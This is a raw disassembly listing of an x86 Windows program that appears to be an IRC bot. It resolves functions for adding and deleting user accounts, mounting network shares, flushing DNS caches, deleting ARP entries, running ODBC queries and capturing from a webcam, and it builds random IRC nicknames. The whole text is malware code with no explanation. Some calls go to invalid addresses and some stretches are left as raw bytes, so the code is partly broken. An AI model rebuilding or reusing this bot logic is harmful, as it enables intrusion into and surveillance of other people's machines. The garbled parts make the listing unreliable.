; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 2690DCCh mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 2690DCCh mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 2690DCCh mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2690DCCh mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2690DCCh mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call near ptr 2690DCCh nop mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2690DCCh mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26A0B9Fh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 75h, 5Eh ; --------------------------------------------------------------------------- sub [edx], eax push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 26A0B9Fh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 26A0B9Fh nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi nop call near ptr 26D0000h movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26A0B9Fh push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h nop call near ptr 26E05B4h call near ptr 26A0B9Fh nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26A0B9Fh nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h 